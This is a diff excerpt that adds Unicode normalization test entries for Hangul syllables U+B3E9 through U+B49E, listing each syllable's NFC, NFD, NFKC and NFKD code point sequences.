+{ source: [0xB3E9], NFC: [0xB3E9], NFD: [0x1103, 0x116A, 0x11B0], NFKC: [0xB3E9], NFKD: [0x1103, 0x116A, 0x11B0] },
+{ source: [0xB3EA], NFC: [0xB3EA], NFD: [0x1103, 0x116A, 0x11B1], NFKC: [0xB3EA], NFKD: [0x1103, 0x116A, 0x11B1] },
+{ source: [0xB3EB], NFC: [0xB3EB], NFD: [0x1103, 0x116A, 0x11B2], NFKC: [0xB3EB], NFKD: [0x1103, 0x116A, 0x11B2] },
+{ source: [0xB3EC], NFC: [0xB3EC], NFD: [0x1103, 0x116A, 0x11B3], NFKC: [0xB3EC], NFKD: [0x1103, 0x116A, 0x11B3] },
+{ source: [0xB3ED], NFC: [0xB3ED], NFD: [0x1103, 0x116A, 0x11B4], NFKC: [0xB3ED], NFKD: [0x1103, 0x116A, 0x11B4] },
+{ source: [0xB3EE], NFC: [0xB3EE], NFD: [0x1103, 0x116A, 0x11B5], NFKC: [0xB3EE], NFKD: [0x1103, 0x116A, 0x11B5] },
+{ source: [0xB3EF], NFC: [0xB3EF], NFD: [0x1103, 0x116A, 0x11B6], NFKC: [0xB3EF], NFKD: [0x1103, 0x116A, 0x11B6] },
+{ source: [0xB3F0], NFC: [0xB3F0], NFD: [0x1103, 0x116A, 0x11B7], NFKC: [0xB3F0], NFKD: [0x1103, 0x116A, 0x11B7] },
+{ source: [0xB3F1], NFC: [0xB3F1], NFD: [0x1103, 0x116A, 0x11B8], NFKC: [0xB3F1], NFKD: [0x1103, 0x116A, 0x11B8] },
+{ source: [0xB3F2], NFC: [0xB3F2], NFD: [0x1103, 0x116A, 0x11B9], NFKC: [0xB3F2], NFKD: [0x1103, 0x116A, 0x11B9] },
+{ source: [0xB3F3], NFC: [0xB3F3], NFD: [0x1103, 0x116A, 0x11BA], NFKC: [0xB3F3], NFKD: [0x1103, 0x116A, 0x11BA] },
+{ source: [0xB3F4], NFC: [0xB3F4], NFD: [0x1103, 0x116A, 0x11BB], NFKC: [0xB3F4], NFKD: [0x1103, 0x116A, 0x11BB] },
+{ source: [0xB3F5], NFC: [0xB3F5], NFD: [0x1103, 0x116A, 0x11BC], NFKC: [0xB3F5], NFKD: [0x1103, 0x116A, 0x11BC] },
+{ source: [0xB3F6], NFC: [0xB3F6], NFD: [0x1103, 0x116A, 0x11BD], NFKC: [0xB3F6], NFKD: [0x1103, 0x116A, 0x11BD] },
+{ source: [0xB3F7], NFC: [0xB3F7], NFD: [0x1103, 0x116A, 0x11BE], NFKC: [0xB3F7], NFKD: [0x1103, 0x116A, 0x11BE] },
+{ source: [0xB3F8], NFC: [0xB3F8], NFD: [0x1103, 0x116A, 0x11BF], NFKC: [0xB3F8], NFKD: [0x1103, 0x116A, 0x11BF] },
+{ source: [0xB3F9], NFC: [0xB3F9], NFD: [0x1103, 0x116A, 0x11C0], NFKC: [0xB3F9], NFKD: [0x1103, 0x116A, 0x11C0] },
+{ source: [0xB3FA], NFC: [0xB3FA], NFD: [0x1103, 0x116A, 0x11C1], NFKC: [0xB3FA], NFKD: [0x1103, 0x116A, 0x11C1] },
+{ source: [0xB3FB], NFC: [0xB3FB], NFD: [0x1103, 0x116A, 0x11C2], NFKC: [0xB3FB], NFKD: [0x1103, 0x116A, 0x11C2] },
+{ source: [0xB3FC], NFC: [0xB3FC], NFD: [0x1103, 0x116B], NFKC: [0xB3FC], NFKD: [0x1103, 0x116B] },
+{ source: [0xB3FD], NFC: [0xB3FD], NFD: [0x1103, 0x116B, 0x11A8], NFKC: [0xB3FD], NFKD: [0x1103, 0x116B, 0x11A8] },
+{ source: [0xB3FE], NFC: [0xB3FE], NFD: [0x1103, 0x116B, 0x11A9], NFKC: [0xB3FE], NFKD: [0x1103, 0x116B, 0x11A9] },
+{ source: [0xB3FF], NFC: [0xB3FF], NFD: [0x1103, 0x116B, 0x11AA], NFKC: [0xB3FF], NFKD: [0x1103, 0x116B, 0x11AA] },
+{ source: [0xB400], NFC: [0xB400], NFD: [0x1103, 0x116B, 0x11AB], NFKC: [0xB400], NFKD: [0x1103, 0x116B, 0x11AB] },
+{ source: [0xB401], NFC: [0xB401], NFD: [0x1103, 0x116B, 0x11AC], NFKC: [0xB401], NFKD: [0x1103, 0x116B, 0x11AC] },
+{ source: [0xB402], NFC: [0xB402], NFD: [0x1103, 0x116B, 0x11AD], NFKC: [0xB402], NFKD: [0x1103, 0x116B, 0x11AD] },
+{ source: [0xB403], NFC: [0xB403], NFD: [0x1103, 0x116B, 0x11AE], NFKC: [0xB403], NFKD: [0x1103, 0x116B, 0x11AE] },
+{ source: [0xB404], NFC: [0xB404], NFD: [0x1103, 0x116B, 0x11AF], NFKC: [0xB404], NFKD: [0x1103, 0x116B, 0x11AF] },
+{ source: [0xB405], NFC: [0xB405], NFD: [0x1103, 0x116B, 0x11B0], NFKC: [0xB405], NFKD: [0x1103, 0x116B, 0x11B0] },
+{ source: [0xB406], NFC: [0xB406], NFD: [0x1103, 0x116B, 0x11B1], NFKC: [0xB406], NFKD: [0x1103, 0x116B, 0x11B1] },
+{ source: [0xB407], NFC: [0xB407], NFD: [0x1103, 0x116B, 0x11B2], NFKC: [0xB407], NFKD: [0x1103, 0x116B, 0x11B2] },
+{ source: [0xB408], NFC: [0xB408], NFD: [0x1103, 0x116B, 0x11B3], NFKC: [0xB408], NFKD: [0x1103, 0x116B, 0x11B3] },
+{ source: [0xB409], NFC: [0xB409], NFD: [0x1103, 0x116B, 0x11B4], NFKC: [0xB409], NFKD: [0x1103, 0x116B, 0x11B4] },
+{ source: [0xB40A], NFC: [0xB40A], NFD: [0x1103, 0x116B, 0x11B5], NFKC: [0xB40A], NFKD: [0x1103, 0x116B, 0x11B5] },
+{ source: [0xB40B], NFC: [0xB40B], NFD: [0x1103, 0x116B, 0x11B6], NFKC: [0xB40B], NFKD: [0x1103, 0x116B, 0x11B6] },
+{ source: [0xB40C], NFC: [0xB40C], NFD: [0x1103, 0x116B, 0x11B7], NFKC: [0xB40C], NFKD: [0x1103, 0x116B, 0x11B7] },
+{ source: [0xB40D], NFC: [0xB40D], NFD: [0x1103, 0x116B, 0x11B8], NFKC: [0xB40D], NFKD: [0x1103, 0x116B, 0x11B8] },
+{ source: [0xB40E], NFC: [0xB40E], NFD: [0x1103, 0x116B, 0x11B9], NFKC: [0xB40E], NFKD: [0x1103, 0x116B, 0x11B9] },
+{ source: [0xB40F], NFC: [0xB40F], NFD: [0x1103, 0x116B, 0x11BA], NFKC: [0xB40F], NFKD: [0x1103, 0x116B, 0x11BA] },
+{ source: [0xB410], NFC: [0xB410], NFD: [0x1103, 0x116B, 0x11BB], NFKC: [0xB410], NFKD: [0x1103, 0x116B, 0x11BB] },
+{ source: [0xB411], NFC: [0xB411], NFD: [0x1103, 0x116B, 0x11BC], NFKC: [0xB411], NFKD: [0x1103, 0x116B, 0x11BC] },
+{ source: [0xB412], NFC: [0xB412], NFD: [0x1103, 0x116B, 0x11BD], NFKC: [0xB412], NFKD: [0x1103, 0x116B, 0x11BD] },
+{ source: [0xB413], NFC: [0xB413], NFD: [0x1103, 0x116B, 0x11BE], NFKC: [0xB413], NFKD: [0x1103, 0x116B, 0x11BE] },
+{ source: [0xB414], NFC: [0xB414], NFD: [0x1103, 0x116B, 0x11BF], NFKC: [0xB414], NFKD: [0x1103, 0x116B, 0x11BF] },
+{ source: [0xB415], NFC: [0xB415], NFD: [0x1103, 0x116B, 0x11C0], NFKC: [0xB415], NFKD: [0x1103, 0x116B, 0x11C0] },
+{ source: [0xB416], NFC: [0xB416], NFD: [0x1103, 0x116B, 0x11C1], NFKC: [0xB416], NFKD: [0x1103, 0x116B, 0x11C1] },
+{ source: [0xB417], NFC: [0xB417], NFD: [0x1103, 0x116B, 0x11C2], NFKC: [0xB417], NFKD: [0x1103, 0x116B, 0x11C2] },
+{ source: [0xB418], NFC: [0xB418], NFD: [0x1103, 0x116C], NFKC: [0xB418], NFKD: [0x1103, 0x116C] },
+{ source: [0xB419], NFC: [0xB419], NFD: [0x1103, 0x116C, 0x11A8], NFKC: [0xB419], NFKD: [0x1103, 0x116C, 0x11A8] },
+{ source: [0xB41A], NFC: [0xB41A], NFD: [0x1103, 0x116C, 0x11A9], NFKC: [0xB41A], NFKD: [0x1103, 0x116C, 0x11A9] },
+{ source: [0xB41B], NFC: [0xB41B], NFD: [0x1103, 0x116C, 0x11AA], NFKC: [0xB41B], NFKD: [0x1103, 0x116C, 0x11AA] },
+{ source: [0xB41C], NFC: [0xB41C], NFD: [0x1103, 0x116C, 0x11AB], NFKC: [0xB41C], NFKD: [0x1103, 0x116C, 0x11AB] },
+{ source: [0xB41D], NFC: [0xB41D], NFD: [0x1103, 0x116C, 0x11AC], NFKC: [0xB41D], NFKD: [0x1103, 0x116C, 0x11AC] },
+{ source: [0xB41E], NFC: [0xB41E], NFD: [0x1103, 0x116C, 0x11AD], NFKC: [0xB41E], NFKD: [0x1103, 0x116C, 0x11AD] },
+{ source: [0xB41F], NFC: [0xB41F], NFD: [0x1103, 0x116C, 0x11AE], NFKC: [0xB41F], NFKD: [0x1103, 0x116C, 0x11AE] },
+{ source: [0xB420], NFC: [0xB420], NFD: [0x1103, 0x116C, 0x11AF], NFKC: [0xB420], NFKD: [0x1103, 0x116C, 0x11AF] },
+{ source: [0xB421], NFC: [0xB421], NFD: [0x1103, 0x116C, 0x11B0], NFKC: [0xB421], NFKD: [0x1103, 0x116C, 0x11B0] },
+{ source: [0xB422], NFC: [0xB422], NFD: [0x1103, 0x116C, 0x11B1], NFKC: [0xB422], NFKD: [0x1103, 0x116C, 0x11B1] },
+{ source: [0xB423], NFC: [0xB423], NFD: [0x1103, 0x116C, 0x11B2], NFKC: [0xB423], NFKD: [0x1103, 0x116C, 0x11B2] },
+{ source: [0xB424], NFC: [0xB424], NFD: [0x1103, 0x116C, 0x11B3], NFKC: [0xB424], NFKD: [0x1103, 0x116C, 0x11B3] },
+{ source: [0xB425], NFC: [0xB425], NFD: [0x1103, 0x116C, 0x11B4], NFKC: [0xB425], NFKD: [0x1103, 0x116C, 0x11B4] },
+{ source: [0xB426], NFC: [0xB426], NFD: [0x1103, 0x116C, 0x11B5], NFKC: [0xB426], NFKD: [0x1103, 0x116C, 0x11B5] },
+{ source: [0xB427], NFC: [0xB427], NFD: [0x1103, 0x116C, 0x11B6], NFKC: [0xB427], NFKD: [0x1103, 0x116C, 0x11B6] },
+{ source: [0xB428], NFC: [0xB428], NFD: [0x1103, 0x116C, 0x11B7], NFKC: [0xB428], NFKD: [0x1103, 0x116C, 0x11B7] },
+{ source: [0xB429], NFC: [0xB429], NFD: [0x1103, 0x116C, 0x11B8], NFKC: [0xB429], NFKD: [0x1103, 0x116C, 0x11B8] },
+{ source: [0xB42A], NFC: [0xB42A], NFD: [0x1103, 0x116C, 0x11B9], NFKC: [0xB42A], NFKD: [0x1103, 0x116C, 0x11B9] },
+{ source: [0xB42B], NFC: [0xB42B], NFD: [0x1103, 0x116C, 0x11BA], NFKC: [0xB42B], NFKD: [0x1103, 0x116C, 0x11BA] },
+{ source: [0xB42C], NFC: [0xB42C], NFD: [0x1103, 0x116C, 0x11BB], NFKC: [0xB42C], NFKD: [0x1103, 0x116C, 0x11BB] },
+{ source: [0xB42D], NFC: [0xB42D], NFD: [0x1103, 0x116C, 0x11BC], NFKC: [0xB42D], NFKD: [0x1103, 0x116C, 0x11BC] },
+{ source: [0xB42E], NFC: [0xB42E], NFD: [0x1103, 0x116C, 0x11BD], NFKC: [0xB42E], NFKD: [0x1103, 0x116C, 0x11BD] },
+{ source: [0xB42F], NFC: [0xB42F], NFD: [0x1103, 0x116C, 0x11BE], NFKC: [0xB42F], NFKD: [0x1103, 0x116C, 0x11BE] },
+{ source: [0xB430], NFC: [0xB430], NFD: [0x1103, 0x116C, 0x11BF], NFKC: [0xB430], NFKD: [0x1103, 0x116C, 0x11BF] },
+{ source: [0xB431], NFC: [0xB431], NFD: [0x1103, 0x116C, 0x11C0], NFKC: [0xB431], NFKD: [0x1103, 0x116C, 0x11C0] },
+{ source: [0xB432], NFC: [0xB432], NFD: [0x1103, 0x116C, 0x11C1], NFKC: [0xB432], NFKD: [0x1103, 0x116C, 0x11C1] },
+{ source: [0xB433], NFC: [0xB433], NFD: [0x1103, 0x116C, 0x11C2], NFKC: [0xB433], NFKD: [0x1103, 0x116C, 0x11C2] },
+{ source: [0xB434], NFC: [0xB434], NFD: [0x1103, 0x116D], NFKC: [0xB434], NFKD: [0x1103, 0x116D] },
+{ source: [0xB435], NFC: [0xB435], NFD: [0x1103, 0x116D, 0x11A8], NFKC: [0xB435], NFKD: [0x1103, 0x116D, 0x11A8] },
+{ source: [0xB436], NFC: [0xB436], NFD: [0x1103, 0x116D, 0x11A9], NFKC: [0xB436], NFKD: [0x1103, 0x116D, 0x11A9] },
+{ source: [0xB437], NFC: [0xB437], NFD: [0x1103, 0x116D, 0x11AA], NFKC: [0xB437], NFKD: [0x1103, 0x116D, 0x11AA] },
+{ source: [0xB438], NFC: [0xB438], NFD: [0x1103, 0x116D, 0x11AB], NFKC: [0xB438], NFKD: [0x1103, 0x116D, 0x11AB] },
+{ source: [0xB439], NFC: [0xB439], NFD: [0x1103, 0x116D, 0x11AC], NFKC: [0xB439], NFKD: [0x1103, 0x116D, 0x11AC] },
+{ source: [0xB43A], NFC: [0xB43A], NFD: [0x1103, 0x116D, 0x11AD], NFKC: [0xB43A], NFKD: [0x1103, 0x116D, 0x11AD] },
+{ source: [0xB43B], NFC: [0xB43B], NFD: [0x1103, 0x116D, 0x11AE], NFKC: [0xB43B], NFKD: [0x1103, 0x116D, 0x11AE] },
+{ source: [0xB43C], NFC: [0xB43C], NFD: [0x1103, 0x116D, 0x11AF], NFKC: [0xB43C], NFKD: [0x1103, 0x116D, 0x11AF] },
+{ source: [0xB43D], NFC: [0xB43D], NFD: [0x1103, 0x116D, 0x11B0], NFKC: [0xB43D], NFKD: [0x1103, 0x116D, 0x11B0] },
+{ source: [0xB43E], NFC: [0xB43E], NFD: [0x1103, 0x116D, 0x11B1], NFKC: [0xB43E], NFKD: [0x1103, 0x116D, 0x11B1] },
+{ source: [0xB43F], NFC: [0xB43F], NFD: [0x1103, 0x116D, 0x11B2], NFKC: [0xB43F], NFKD: [0x1103, 0x116D, 0x11B2] },
+{ source: [0xB440], NFC: [0xB440], NFD: [0x1103, 0x116D, 0x11B3], NFKC: [0xB440], NFKD: [0x1103, 0x116D, 0x11B3] },
+{ source: [0xB441], NFC: [0xB441], NFD: [0x1103, 0x116D, 0x11B4], NFKC: [0xB441], NFKD: [0x1103, 0x116D, 0x11B4] },
+{ source: [0xB442], NFC: [0xB442], NFD: [0x1103, 0x116D, 0x11B5], NFKC: [0xB442], NFKD: [0x1103, 0x116D, 0x11B5] },
+{ source: [0xB443], NFC: [0xB443], NFD: [0x1103, 0x116D, 0x11B6], NFKC: [0xB443], NFKD: [0x1103, 0x116D, 0x11B6] },
+{ source: [0xB444], NFC: [0xB444], NFD: [0x1103, 0x116D, 0x11B7], NFKC: [0xB444], NFKD: [0x1103, 0x116D, 0x11B7] },
+{ source: [0xB445], NFC: [0xB445], NFD: [0x1103, 0x116D, 0x11B8], NFKC: [0xB445], NFKD: [0x1103, 0x116D, 0x11B8] },
+{ source: [0xB446], NFC: [0xB446], NFD: [0x1103, 0x116D, 0x11B9], NFKC: [0xB446], NFKD: [0x1103, 0x116D, 0x11B9] },
+{ source: [0xB447], NFC: [0xB447], NFD: [0x1103, 0x116D, 0x11BA], NFKC: [0xB447], NFKD: [0x1103, 0x116D, 0x11BA] },
+{ source: [0xB448], NFC: [0xB448], NFD: [0x1103, 0x116D, 0x11BB], NFKC: [0xB448], NFKD: [0x1103, 0x116D, 0x11BB] },
+{ source: [0xB449], NFC: [0xB449], NFD: [0x1103, 0x116D, 0x11BC], NFKC: [0xB449], NFKD: [0x1103, 0x116D, 0x11BC] },
+{ source: [0xB44A], NFC: [0xB44A], NFD: [0x1103, 0x116D, 0x11BD], NFKC: [0xB44A], NFKD: [0x1103, 0x116D, 0x11BD] },
+{ source: [0xB44B], NFC: [0xB44B], NFD: [0x1103, 0x116D, 0x11BE], NFKC: [0xB44B], NFKD: [0x1103, 0x116D, 0x11BE] },
+{ source: [0xB44C], NFC: [0xB44C], NFD: [0x1103, 0x116D, 0x11BF], NFKC: [0xB44C], NFKD: [0x1103, 0x116D, 0x11BF] },
+{ source: [0xB44D], NFC: [0xB44D], NFD: [0x1103, 0x116D, 0x11C0], NFKC: [0xB44D], NFKD: [0x1103, 0x116D, 0x11C0] },
+{ source: [0xB44E], NFC: [0xB44E], NFD: [0x1103, 0x116D, 0x11C1], NFKC: [0xB44E], NFKD: [0x1103, 0x116D, 0x11C1] },
+{ source: [0xB44F], NFC: [0xB44F], NFD: [0x1103, 0x116D, 0x11C2], NFKC: [0xB44F], NFKD: [0x1103, 0x116D, 0x11C2] },
+{ source: [0xB450], NFC: [0xB450], NFD: [0x1103, 0x116E], NFKC: [0xB450], NFKD: [0x1103, 0x116E] },
+{ source: [0xB451], NFC: [0xB451], NFD: [0x1103, 0x116E, 0x11A8], NFKC: [0xB451], NFKD: [0x1103, 0x116E, 0x11A8] },
+{ source: [0xB452], NFC: [0xB452], NFD: [0x1103, 0x116E, 0x11A9], NFKC: [0xB452], NFKD: [0x1103, 0x116E, 0x11A9] },
+{ source: [0xB453], NFC: [0xB453], NFD: [0x1103, 0x116E, 0x11AA], NFKC: [0xB453], NFKD: [0x1103, 0x116E, 0x11AA] },
+{ source: [0xB454], NFC: [0xB454], NFD: [0x1103, 0x116E, 0x11AB], NFKC: [0xB454], NFKD: [0x1103, 0x116E, 0x11AB] },
+{ source: [0xB455], NFC: [0xB455], NFD: [0x1103, 0x116E, 0x11AC], NFKC: [0xB455], NFKD: [0x1103, 0x116E, 0x11AC] },
+{ source: [0xB456], NFC: [0xB456], NFD: [0x1103, 0x116E, 0x11AD], NFKC: [0xB456], NFKD: [0x1103, 0x116E, 0x11AD] },
+{ source: [0xB457], NFC: [0xB457], NFD: [0x1103, 0x116E, 0x11AE], NFKC: [0xB457], NFKD: [0x1103, 0x116E, 0x11AE] },
+{ source: [0xB458], NFC: [0xB458], NFD: [0x1103, 0x116E, 0x11AF], NFKC: [0xB458], NFKD: [0x1103, 0x116E, 0x11AF] },
+{ source: [0xB459], NFC: [0xB459], NFD: [0x1103, 0x116E, 0x11B0], NFKC: [0xB459], NFKD: [0x1103, 0x116E, 0x11B0] },
+{ source: [0xB45A], NFC: [0xB45A], NFD: [0x1103, 0x116E, 0x11B1], NFKC: [0xB45A], NFKD: [0x1103, 0x116E, 0x11B1] },
+{ source: [0xB45B], NFC: [0xB45B], NFD: [0x1103, 0x116E, 0x11B2], NFKC: [0xB45B], NFKD: [0x1103, 0x116E, 0x11B2] },
+{ source: [0xB45C], NFC: [0xB45C], NFD: [0x1103, 0x116E, 0x11B3], NFKC: [0xB45C], NFKD: [0x1103, 0x116E, 0x11B3] },
+{ source: [0xB45D], NFC: [0xB45D], NFD: [0x1103, 0x116E, 0x11B4], NFKC: [0xB45D], NFKD: [0x1103, 0x116E, 0x11B4] },
+{ source: [0xB45E], NFC: [0xB45E], NFD: [0x1103, 0x116E, 0x11B5], NFKC: [0xB45E], NFKD: [0x1103, 0x116E, 0x11B5] },
+{ source: [0xB45F], NFC: [0xB45F], NFD: [0x1103, 0x116E, 0x11B6], NFKC: [0xB45F], NFKD: [0x1103, 0x116E, 0x11B6] },
+{ source: [0xB460], NFC: [0xB460], NFD: [0x1103, 0x116E, 0x11B7], NFKC: [0xB460], NFKD: [0x1103, 0x116E, 0x11B7] },
+{ source: [0xB461], NFC: [0xB461], NFD: [0x1103, 0x116E, 0x11B8], NFKC: [0xB461], NFKD: [0x1103, 0x116E, 0x11B8] },
+{ source: [0xB462], NFC: [0xB462], NFD: [0x1103, 0x116E, 0x11B9], NFKC: [0xB462], NFKD: [0x1103, 0x116E, 0x11B9] },
+{ source: [0xB463], NFC: [0xB463], NFD: [0x1103, 0x116E, 0x11BA], NFKC: [0xB463], NFKD: [0x1103, 0x116E, 0x11BA] },
+{ source: [0xB464], NFC: [0xB464], NFD: [0x1103, 0x116E, 0x11BB], NFKC: [0xB464], NFKD: [0x1103, 0x116E, 0x11BB] },
+{ source: [0xB465], NFC: [0xB465], NFD: [0x1103, 0x116E, 0x11BC], NFKC: [0xB465], NFKD: [0x1103, 0x116E, 0x11BC] },
+{ source: [0xB466], NFC: [0xB466], NFD: [0x1103, 0x116E, 0x11BD], NFKC: [0xB466], NFKD: [0x1103, 0x116E, 0x11BD] },
+{ source: [0xB467], NFC: [0xB467], NFD: [0x1103, 0x116E, 0x11BE], NFKC: [0xB467], NFKD: [0x1103, 0x116E, 0x11BE] },
+{ source: [0xB468], NFC: [0xB468], NFD: [0x1103, 0x116E, 0x11BF], NFKC: [0xB468], NFKD: [0x1103, 0x116E, 0x11BF] },
+{ source: [0xB469], NFC: [0xB469], NFD: [0x1103, 0x116E, 0x11C0], NFKC: [0xB469], NFKD: [0x1103, 0x116E, 0x11C0] },
+{ source: [0xB46A], NFC: [0xB46A], NFD: [0x1103, 0x116E, 0x11C1], NFKC: [0xB46A], NFKD: [0x1103, 0x116E, 0x11C1] },
+{ source: [0xB46B], NFC: [0xB46B], NFD: [0x1103, 0x116E, 0x11C2], NFKC: [0xB46B], NFKD: [0x1103, 0x116E, 0x11C2] },
+{ source: [0xB46C], NFC: [0xB46C], NFD: [0x1103, 0x116F], NFKC: [0xB46C], NFKD: [0x1103, 0x116F] },
+{ source: [0xB46D], NFC: [0xB46D], NFD: [0x1103, 0x116F, 0x11A8], NFKC: [0xB46D], NFKD: [0x1103, 0x116F, 0x11A8] },
+{ source: [0xB46E], NFC: [0xB46E], NFD: [0x1103, 0x116F, 0x11A9], NFKC: [0xB46E], NFKD: [0x1103, 0x116F, 0x11A9] },
+{ source: [0xB46F], NFC: [0xB46F], NFD: [0x1103, 0x116F, 0x11AA], NFKC: [0xB46F], NFKD: [0x1103, 0x116F, 0x11AA] },
+{ source: [0xB470], NFC: [0xB470], NFD: [0x1103, 0x116F, 0x11AB], NFKC: [0xB470], NFKD: [0x1103, 0x116F, 0x11AB] },
+{ source: [0xB471], NFC: [0xB471], NFD: [0x1103, 0x116F, 0x11AC], NFKC: [0xB471], NFKD: [0x1103, 0x116F, 0x11AC] },
+{ source: [0xB472], NFC: [0xB472], NFD: [0x1103, 0x116F, 0x11AD], NFKC: [0xB472], NFKD: [0x1103, 0x116F, 0x11AD] },
+{ source: [0xB473], NFC: [0xB473], NFD: [0x1103, 0x116F, 0x11AE], NFKC: [0xB473], NFKD: [0x1103, 0x116F, 0x11AE] },
+{ source: [0xB474], NFC: [0xB474], NFD: [0x1103, 0x116F, 0x11AF], NFKC: [0xB474], NFKD: [0x1103, 0x116F, 0x11AF] },
+{ source: [0xB475], NFC: [0xB475], NFD: [0x1103, 0x116F, 0x11B0], NFKC: [0xB475], NFKD: [0x1103, 0x116F, 0x11B0] },
+{ source: [0xB476], NFC: [0xB476], NFD: [0x1103, 0x116F, 0x11B1], NFKC: [0xB476], NFKD: [0x1103, 0x116F, 0x11B1] },
+{ source: [0xB477], NFC: [0xB477], NFD: [0x1103, 0x116F, 0x11B2], NFKC: [0xB477], NFKD: [0x1103, 0x116F, 0x11B2] },
+{ source: [0xB478], NFC: [0xB478], NFD: [0x1103, 0x116F, 0x11B3], NFKC: [0xB478], NFKD: [0x1103, 0x116F, 0x11B3] },
+{ source: [0xB479], NFC: [0xB479], NFD: [0x1103, 0x116F, 0x11B4], NFKC: [0xB479], NFKD: [0x1103, 0x116F, 0x11B4] },
+{ source: [0xB47A], NFC: [0xB47A], NFD: [0x1103, 0x116F, 0x11B5], NFKC: [0xB47A], NFKD: [0x1103, 0x116F, 0x11B5] },
+{ source: [0xB47B], NFC: [0xB47B], NFD: [0x1103, 0x116F, 0x11B6], NFKC: [0xB47B], NFKD: [0x1103, 0x116F, 0x11B6] },
+{ source: [0xB47C], NFC: [0xB47C], NFD: [0x1103, 0x116F, 0x11B7], NFKC: [0xB47C], NFKD: [0x1103, 0x116F, 0x11B7] },
+{ source: [0xB47D], NFC: [0xB47D], NFD: [0x1103, 0x116F, 0x11B8], NFKC: [0xB47D], NFKD: [0x1103, 0x116F, 0x11B8] },
+{ source: [0xB47E], NFC: [0xB47E], NFD: [0x1103, 0x116F, 0x11B9], NFKC: [0xB47E], NFKD: [0x1103, 0x116F, 0x11B9] },
+{ source: [0xB47F], NFC: [0xB47F], NFD: [0x1103, 0x116F, 0x11BA], NFKC: [0xB47F], NFKD: [0x1103, 0x116F, 0x11BA] },
+{ source: [0xB480], NFC: [0xB480], NFD: [0x1103, 0x116F, 0x11BB], NFKC: [0xB480], NFKD: [0x1103, 0x116F, 0x11BB] },
+{ source: [0xB481], NFC: [0xB481], NFD: [0x1103, 0x116F, 0x11BC], NFKC: [0xB481], NFKD: [0x1103, 0x116F, 0x11BC] },
+{ source: [0xB482], NFC: [0xB482], NFD: [0x1103, 0x116F, 0x11BD], NFKC: [0xB482], NFKD: [0x1103, 0x116F, 0x11BD] },
+{ source: [0xB483], NFC: [0xB483], NFD: [0x1103, 0x116F, 0x11BE], NFKC: [0xB483], NFKD: [0x1103, 0x116F, 0x11BE] },
+{ source: [0xB484], NFC: [0xB484], NFD: [0x1103, 0x116F, 0x11BF], NFKC: [0xB484], NFKD: [0x1103, 0x116F, 0x11BF] },
+{ source: [0xB485], NFC: [0xB485], NFD: [0x1103, 0x116F, 0x11C0], NFKC: [0xB485], NFKD: [0x1103, 0x116F, 0x11C0] },
+{ source: [0xB486], NFC: [0xB486], NFD: [0x1103, 0x116F, 0x11C1], NFKC: [0xB486], NFKD: [0x1103, 0x116F, 0x11C1] },
+{ source: [0xB487], NFC: [0xB487], NFD: [0x1103, 0x116F, 0x11C2], NFKC: [0xB487], NFKD: [0x1103, 0x116F, 0x11C2] },
+{ source: [0xB488], NFC: [0xB488], NFD: [0x1103, 0x1170], NFKC: [0xB488], NFKD: [0x1103, 0x1170] },
+{ source: [0xB489], NFC: [0xB489], NFD: [0x1103, 0x1170, 0x11A8], NFKC: [0xB489], NFKD: [0x1103, 0x1170, 0x11A8] },
+{ source: [0xB48A], NFC: [0xB48A], NFD: [0x1103, 0x1170, 0x11A9], NFKC: [0xB48A], NFKD: [0x1103, 0x1170, 0x11A9] },
+{ source: [0xB48B], NFC: [0xB48B], NFD: [0x1103, 0x1170, 0x11AA], NFKC: [0xB48B], NFKD: [0x1103, 0x1170, 0x11AA] },
+{ source: [0xB48C], NFC: [0xB48C], NFD: [0x1103, 0x1170, 0x11AB], NFKC: [0xB48C], NFKD: [0x1103, 0x1170, 0x11AB] },
+{ source: [0xB48D], NFC: [0xB48D], NFD: [0x1103, 0x1170, 0x11AC], NFKC: [0xB48D], NFKD: [0x1103, 0x1170, 0x11AC] },
+{ source: [0xB48E], NFC: [0xB48E], NFD: [0x1103, 0x1170, 0x11AD], NFKC: [0xB48E], NFKD: [0x1103, 0x1170, 0x11AD] },
+{ source: [0xB48F], NFC: [0xB48F], NFD: [0x1103, 0x1170, 0x11AE], NFKC: [0xB48F], NFKD: [0x1103, 0x1170, 0x11AE] },
+{ source: [0xB490], NFC: [0xB490], NFD: [0x1103, 0x1170, 0x11AF], NFKC: [0xB490], NFKD: [0x1103, 0x1170, 0x11AF] },
+{ source: [0xB491], NFC: [0xB491], NFD: [0x1103, 0x1170, 0x11B0], NFKC: [0xB491], NFKD: [0x1103, 0x1170, 0x11B0] },
+{ source: [0xB492], NFC: [0xB492], NFD: [0x1103, 0x1170, 0x11B1], NFKC: [0xB492], NFKD: [0x1103, 0x1170, 0x11B1] },
+{ source: [0xB493], NFC: [0xB493], NFD: [0x1103, 0x1170, 0x11B2], NFKC: [0xB493], NFKD: [0x1103, 0x1170, 0x11B2] },
+{ source: [0xB494], NFC: [0xB494], NFD: [0x1103, 0x1170, 0x11B3], NFKC: [0xB494], NFKD: [0x1103, 0x1170, 0x11B3] },
+{ source: [0xB495], NFC: [0xB495], NFD: [0x1103, 0x1170, 0x11B4], NFKC: [0xB495], NFKD: [0x1103, 0x1170, 0x11B4] },
+{ source: [0xB496], NFC: [0xB496], NFD: [0x1103, 0x1170, 0x11B5], NFKC: [0xB496], NFKD: [0x1103, 0x1170, 0x11B5] },
+{ source: [0xB497], NFC: [0xB497], NFD: [0x1103, 0x1170, 0x11B6], NFKC: [0xB497], NFKD: [0x1103, 0x1170, 0x11B6] },
+{ source: [0xB498], NFC: [0xB498], NFD: [0x1103, 0x1170, 0x11B7], NFKC: [0xB498], NFKD: [0x1103, 0x1170, 0x11B7] },
+{ source: [0xB499], NFC: [0xB499], NFD: [0x1103, 0x1170, 0x11B8], NFKC: [0xB499], NFKD: [0x1103, 0x1170, 0x11B8] },
+{ source: [0xB49A], NFC: [0xB49A], NFD: [0x1103, 0x1170, 0x11B9], NFKC: [0xB49A], NFKD: [0x1103, 0x1170, 0x11B9] },
+{ source: [0xB49B], NFC: [0xB49B], NFD: [0x1103, 0x1170, 0x11BA], NFKC: [0xB49B], NFKD: [0x1103, 0x1170, 0x11BA] },
+{ source: [0xB49C], NFC: [0xB49C], NFD: [0x1103, 0x1170, 0x11BB], NFKC: [0xB49C], NFKD: [0x1103, 0x1170, 0x11BB] },
+{ source: [0xB49D], NFC: [0xB49D], NFD: [0x1103, 0x1170, 0x11BC], NFKC: [0xB49D], NFKD: [0x1103, 0x1170, 0x11BC] },
+{ source: [0xB49E], NFC: [0xB49E], NFD: [0x1103, 0x1170, 0x11BD], NFKC: [0xB49E], NFKD: [0x1103, 0x1170, 0x11BD] },
